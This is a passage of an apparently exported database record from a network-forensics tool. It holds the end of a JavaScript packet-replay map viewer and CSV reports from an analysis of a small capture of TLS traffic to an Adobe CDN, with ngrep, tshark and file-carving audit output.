`M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a13e92c32de6bb6782baac8"},"sha256":"637175bedfe6852886341e15c4d48241d7a58083a45272df0aac35469c653f6f","timestamp":{"$date":"2026-05-25T11:46:12.636Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_40x9buma.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:63940 -> 184.30.157.69:443 [AP] #4\n...........j.Ht......$..tO.....@J.g....yg....&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...b.........assets.adobedtm.com..........\n...............................................#...........\n##\nT 184.30.157.69:443 -> 10.152.152.11:63940 [AP] #6\n....I...E....i\n.B...R.*.v....4...kPDOWNGRD...,.....................#.........................0...0.............vM.u{..? @...0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...250624000000Z..260725235959Z0h1.0...U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..J....9u....o..7...g.?.n...I..[...5F....S..r...1Q.G.sSLQ;..$c...@...=0..90...U.#..0...t...f..7...)7.......0...U..........gK.c.\\.F....r.V.0....U.....0....assets.adobedtm.com..cdn1-staging.adoberesources.net..assets.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com..magento-recs-sdk.adobe.net0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..~.\n+.....y......n...j.h.v..m}....w..._......3Ze....s....iw.....Vwm.....G0E.!..........a?z...p.....\"\"_(\\..@..... OL...*V?.....J>.&V..G...D.#b.x...w..1~WE..E..8...A...!Z\"\".....v...R......Vw......H0F.!.......R}..CW.Y....g...k.......{..!...._.7....h..Hg...Sd...y.D.TU8s..u..NC........$&..e..._8..?rg}U7........Vw......F0D. F...9.p..q.$....e........*....Z.. .`..l..._...!.h.,\"\".N.*.7J......,0...*.H..............h(l....._....T>..c.j.p..../..F9.-.k2...@.....Pk....?.Y\n..5m.....,.............-..1.o....L....D.n.(.R..Gz5.,)..m.m........4......0.M1.......++\\.\"\".#.......`Y.=5.}.,..T.EZ.......g..r...'....V.Q...._.<k~....D/.('g7..&xi..!. .+|?&o...Y.k..3=... .....%[.bFo.U.....0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@................0...\n......0.....+.....0......0...0......t...f..7...)7.........20260523120114Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7............vM.u{..? @.......20260523114501Z....20260530104501Z0...*.H..............m.`.W.4..*V.F.Z....I.Z~{.PFR.*q.$......6..L.M.h..j...5..y....u.R...Z.*y.C.........Y.......g..P}^....~:.Tc0P....bW._.<;vk.J8..q.L.@..\n##\nT 184.30.157.69:443 -> 10.152.152.11:63940 [AP] #8\nn...........r...Ve ..CX.......y.W...XL....^o.v:.R.....|.....}@.-....Tlcm...s.O..;.y$..|K&~..-y.Q8M..b.f..@....!/......-.\"\"..............A.....V`..G...,+.D.v..i6..;.*...K...;\"\".....g...*.eF......qy.+..B.W...H0F.!...........e.%_N.$.....%|.$...@.p.!...........al......:...,...s}E..[.........\n##\nT 10.152.152.11:63940 -> 184.30.157.69:443 [AP] #10\n....F...BA....l.....\"\"..+......j.........m....S.Y ..9;[..j.E+....;... ..v.e...........(........Dq.%......`.X..q....X?..K|...%=p\n##\nT 184.30.157.69:443 -> 10.152.152.11:63940 [AP] #12\n...........D.........A.......R.M...]....C.>S.O.\"\".74..#zl9O.....t..^...aK.C.....-|\n..0.&....uK.....6%k.,r.[....0r..U...j.]a.I..4i.....b.+j......M)s...R........u...E/x.....Z..)w\nU.........+$)f0....[..z..H.>......V....d!n..XX...........(.q.@.e...U.^....f..C.\"\"..-..HA)..i.3U.1..\n#\nT 10.152.152.11:63940 -> 184.30.157.69:443 [AP] #13\n.............|K6?.PQ$..*!MJ.H-.J..n.q....J.U|.........Hh.9...j.4z.'..._]..Q4..L..........g..WL^......HjV.OpM6.Q.K......\n.\nQT5....E.k......g...\\.K....m<.....R....%D.I.....e....q.D2-.......!.....u,.\"\"y.<.X.H..^*D....D..<.......A.{.....t.,.9.....AN-=r...... ^YC.tn.....K3x1.t.4r.\\hA.\\6.%.!.f(...d*.T.#.?.....dE#...G=.up.-.@*ba.......gaC.H/.....I.Dd...P......1J.g...>.!.s...(V...0..C..e.....(m...&..17%...PY...W..0..`....!<J>ts..VI..D.....Ah...V..0B..4.?....'...n...\nr.nL.I.M.z..]..=.b...q.#.@T.kY.>.\n##\nT 184.30.157.69:443 -> 10.152.152.11:63940 [AP] #15\n......q.@.e..r.u. 4...R....pm.......+......=r.}...+.W..=.....GR@.3.%...#..].k)k..[.c.@.....\"\".V.4D5....-..E..K\"\"@'.^..$....LW..xXD....D..7.q.c.K.M=....J..0.:...\"\"....4]..q..ZR..;5.B.kp.....e=!.O......m..1...W..-.>p..=..7.....#|F@.../...(.X...........;0J.....1.....$..3.....51;.....Ua.9`4.*$.....Q..~..(..>.s=.y....m!..K|..\"\"I... .-z....r\n.D4).......r....%j,(....4....I..]v..{+6....X>].\\......^F..$=t.....8..3.I.v.A...u\n####exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpfxrhknda/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpfxrhknda/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpfxrhknda/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpfxrhknda/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpfxrhknda/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpfxrhknda/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpfxrhknda/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpfxrhknda/tshark/stats/tshark_io_graph.txt\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-05-25T11:46:10.274910,Tool:tmpfxrhknda/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpfxrhknda/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-05-25T11:46:10.277157,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpfxrhknda/carved/scalpel/audit.txt,468,e9bb91feb3de9f6256b91aa7959e238e,384fc96fcd5f9859dbd953051a7c441bee41be030a5a68be7fa18908d290b461,4.99,\"Scalpel version 1.60 audit file, Started at Mon May 25 11:46:10 2026, Command line:, scalpel -c /tmp/tmpfxrhknda/carved/scalpel.conf /tmp/filtered_40x9buma.pcap -o /tmp/tmpfxrhknda/carved/scalpel , Output directory: /tmp/tmpfxrhknda/carved/scalpel, Configuration file: /tmp/tmpfxrhknda/carved/scalpel.conf, Opening target , /tmp/filtered_40x9buma.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Mon May 25 11:46:10 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 4d 6f 6e 20 4d 61 79 20 32 35 20 31 31 3a 34 36 3a 31 30 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 66 78 72 68 6b 6e 64 61 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 34 30 78 39 62 75 6d 61 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 66 78 72 68 6b 6e 64 61 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 66 78 72 68 6b 6e 64 61 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 66 78 72 68 6b 6e 64 61 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 34 30 78 39 62 75 6d 61 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 4d 6f 6e 20 4d 61 79 20 32 35 20 31 31 3a 34 36 3a 31 30 20 32 30 32 36 0a\n2026-05-25T11:46:10.271910,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpfxrhknda/carved/foremost/audit.txt,698,b97c894c60e49e546c3fef9f71f95553,2f6f9c3d3544ebeaa4c66470d1460ea0e6e05f80f177faf268ba5c2ad1d6005b,4.88,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Mon May 25 11:46:10 2026, Invocation: foremost -t all -i /tmp/filtered_40x9buma.pcap -o /tmp/tmpfxrhknda/carved/foremost , Output directory: /tmp/tmpfxrhknda/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_40x9buma.pcap, Start: Mon May 25 11:46:10 2026, Length: 6 KB (7008 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Mon May 25 11:46:10 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Mon May 25 11:46:10 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 4d 6f 6e 20 4d 61 79 20 32 35 20 31 31 3a 34 36 3a 31 30 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 34 30 78 39 62 75 6d 61 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 66 78 72 68 6b 6e 64 61 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 66 78 72 68 6b 6e 64 61 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 34 30 78 39 62 75 6d 61 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 4d 6f 6e 20 4d 61 79 20 32 35 20 31 31 3a 34 36 3a 31 30 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 36 20 4b 42 20 28 37 30 30 38 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 4d 6f 6e 20 4d 61 79 20 32 35 20 31 31 3a 34 36 3a 31 30 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 4d 6f 6e 20 4d 61 79 20 32 35 20 31 31 3a 34 36 3a 31 30 20 32 30 32 36 